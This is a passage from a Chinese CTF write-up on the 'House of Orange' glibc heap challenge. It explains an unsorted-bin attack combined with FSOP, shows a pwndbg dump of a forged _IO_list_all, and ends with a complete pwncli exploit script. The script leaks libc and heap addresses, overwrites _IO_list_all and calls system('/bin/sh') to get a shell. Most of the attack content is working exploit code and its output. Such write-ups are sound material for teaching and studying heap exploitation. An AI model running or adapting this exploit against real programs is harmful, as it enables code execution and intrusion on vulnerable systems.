io_list_all = leak + 0x3b8
libc.address = leak-0x3c5168
success(f"leak => {hex(leak)}")
success(f"_IO_list_all => {hex(io_list_all)}")
# leak heap address
edit(0x500,'s'*16,123,2)
leak_heap = show()[16:]
leak_heap = unpack(leak_heap,'all')
heap_address = (leak_heap >> 12) << 12
success(f"heap leak => {hex(leak_heap)}")
success(f"heap base => {hex(heap_address)}")
success(f"libc base => {hex(libc.address)}")
house of orange:stage2 - Unsortedbin Attack & FSOP
思路:
-
修改 unsortedbin chunk:
- 修改 size 为 0x61(至关重要,下面解释)
- 修改
fd
为0,bk
为_IO_list_all-0x10
- 修改
prev_size
为b'/bin/sh\x00
'
-
以这个unsortedbin chunk ptr为基础,伪造
_IO_list_all
结构,满足以下条件- write_base < write_ptr
- mode <= 0
- vtable[3] = libc.sym.system
-
触发漏洞
# prepare a fake _IO_list_all
target = libc.sym.system
payload = flat({
0x508:pack(0x21),
0x520:b'/bin/sh\x00',
0x528:pack(0x61),
0x530:pack(0) + pack(io_list_all-0x10),
0x540:pack(2) + pack(3),
0x5e0:pack(0),
0x520+0xd8:pack(heap_address + 0x9b8),
0x520+0xd8+0x18:pack(target)
},filler='\x00') # file.mode <= 0
edit(0x800,payload,12,2)
# trigger unsortedbin & exit
sl('1')
伪造的overflow函数是怎么被找到执行的?
经过Unsortedbin Attack,会损坏 Unsortedbin,导致第二次malloc的时候导致程序出错退出,从而触发_IO_flush_all_lockp
在Unsortedbin Attack的时候,会向指针_IO_list_all
写入unsortedbin
在arena
中的地址,此时的_IO_list_all
是指向arena中的地址的,触发奔溃的时候,会从此处开始遍历IO_FILE,并满足条件就调用overflow函数
起始的_IO_list_all
pwndbg> p**&_IO_list_all
$2 = {
file = {
_flags = -1391456240,
_IO_read_ptr = 0x5632ad0df8e0 "/bin/sh",
_IO_read_end = 0x5632ad0df8e0 "/bin/sh",
_IO_read_base = 0x7fd15b716510 "",
_IO_write_base = 0x7fd15b715b88 <main_arena+104> "\340\370\r\255\062V",
_IO_write_ptr = 0x7fd15b715b88 <main_arena+104> "\340\370\r\255\062V",
_IO_write_end = 0x7fd15b715b98 <main_arena+120> "\210[q[\321\177",
_IO_buf_base = 0x7fd15b715b98 <main_arena+120> "\210[q[\321\177",
_IO_buf_end = 0x7fd15b715ba8 <main_arena+136> "\230[q[\321\177",
_IO_save_base = 0x7fd15b715ba8 <main_arena+136> "\230[q[\321\177",
_IO_backup_base = 0x7fd15b715bb8 <main_arena+152> "\250[q[\321\177",
_IO_save_end = 0x7fd15b715bb8 <main_arena+152> "\250[q[\321\177",
_markers = 0x5632ad0df8e0,
_chain = 0x5632ad0df8e0, # 划重点!!!
_fileno = 1534155736,
_flags2 = 32721,
_old_offset = 140537159048152,
_cur_column = 23528,
_vtable_offset = 113 'q',
_shortbuf = "[",
_lock = 0x7fd15b715be8 <main_arena+200>,
_offset = 140537159048184,
_codecvt = 0x7fd15b715bf8 <main_arena+216>,
_wide_data = 0x7fd15b715c08 <main_arena+232>,
_freeres_list = 0x7fd15b715c08 <main_arena+232>,
_freeres_buf = 0x7fd15b715c18 <main_arena+248>,
__pad5 = 140537159048216,
_mode = 1534155816,
_unused2 = "\321\177\000\000(\\q[\321\177\000\000\070\\q[\321\177\000"
},
vtable = 0x7fd15b715c38 <main_arena+280>
}
要执行vtable的overflow,需要满足的条件之一就是mode<=0
,arena中的这个位置有时候是负数有时候是正数
如何去寻找下一个FILE结构呢,通过_chain
字段,这是个链表通过_chain连接,该字段刚好位于smallbin 0x60的位置,所以需要在这里填上一个我们伪造的_IO_FILE_plus
结构,那就是刚刚把unsortedbin chunk size修改成0x61的原因
再来回顾一下Unsortedbin Attack的过程:
- 首先是遍历unsortedbin chunk,首先第一个是没啥问题的,正常断链装入smallbin
- 遍历到第二个chunk的时候,由于第一个chunk伪造了fd和bk导致unsortedbin损坏,引起报错执行
malloc_printerr
该chunk是在这个时候进入smallbin的
完整exp:
#!/usr/bin/env python3
# Date: 2024-01-10 10:54:52
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def cmd(i, prompt='Your choice :'):
sla(prompt, i)
def add(nb,name,nb2,color):
cmd('1')
sla('Length of name :',str(nb))
sa('Name',name)
sla('Price of Orange:',str(nb2))
sla('Color of Orange:',str(color))
#......
def show():
cmd('2')
ru('Name of house : ')
return rl()[:-1]
#......
def edit(nb,name,nb2,color):
cmd('3')
sla('Length of name :',str(nb))
sa('Name',name)
sla('Price of Orange:',str(nb2))
sla('Color of Orange:',str(color))
def dele():
cmd('4')
#......
# i need a unsortedbin chunk
# i need libc leak
# 没有free,没法轻易释放chunk
# 但是有溢出,可以释放top chunk,拿到一个unsortedbin chunk
# 然后呢?伪造count所在chunk的hdr,导致合并,使用show触发UAR漏洞拿到libc leak的同时拿到 unsortedbin chunk!
# edit top size < 0x1000
size1 = 0x308
add(size1,'a',0x400,1)
edit(size1+0x28,flat({
size1:pack(0x21),
size1+0x20:pack(0x1000 - 0x20 -0x20 - (size1+0x8) + 1)
}),0x400,1)
# alloc a chunk size > top size
# trigger top grow
add(0x1000,'a',123,1)
add(0x500,'b'*8,123,4)
leak = show()[8:]
leak = unpack(leak,'all')
io_list_all = leak + 0x3b8
libc.address = leak-0x3c5168
success(f"leak => {hex(leak)}")
success(f"_IO_list_all => {hex(io_list_all)}")
# leak heap address
edit(0x500,'s'*16,123,2)
leak_heap = show()[16:]
leak_heap = unpack(leak_heap,'all')
heap_address = (leak_heap >> 12) << 12
success(f"heap leak => {hex(leak_heap)}")
success(f"heap base => {hex(heap_address)}")
success(f"libc base => {hex(libc.address)}")
# prepare a fake _IO_list_all
target = libc.sym.system # 【疑问】参数为什么是 chunk addr ?
payload = flat({
0x508:pack(0x21),
0x520:b'/bin/sh\x00',
0x528:pack(0x61),
0x530:pack(0) + pack(io_list_all-0x10),
0x540:pack(2) + pack(3),
0x5e0:pack(0),
0x520+0xd8:pack(heap_address + 0x9b8),
0x520+0xd8+0x18:pack(target)
},filler='\x00') # file.mode <= 0
edit(0x800,payload,12,2)
# trigger unsortedbin & exit
sl('1')
ia()
参考资料:
- [0] Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.github.io)
- [1] House of orange-安全客 - 安全资讯平台 (anquanke.com)
- [2] Overview of GLIBC heap exploitation techniques (0x434b.dev)
- [3] how2heap/glibc_2.23/unsorted_bin_attack.c at master · shellphish/how2heap (github.com)
- [4] IO_FILE 与高版本 glibc 中的漏洞利用技巧 - evilpan
- [5] FSOP - CTF Wiki (ctf-wiki.org)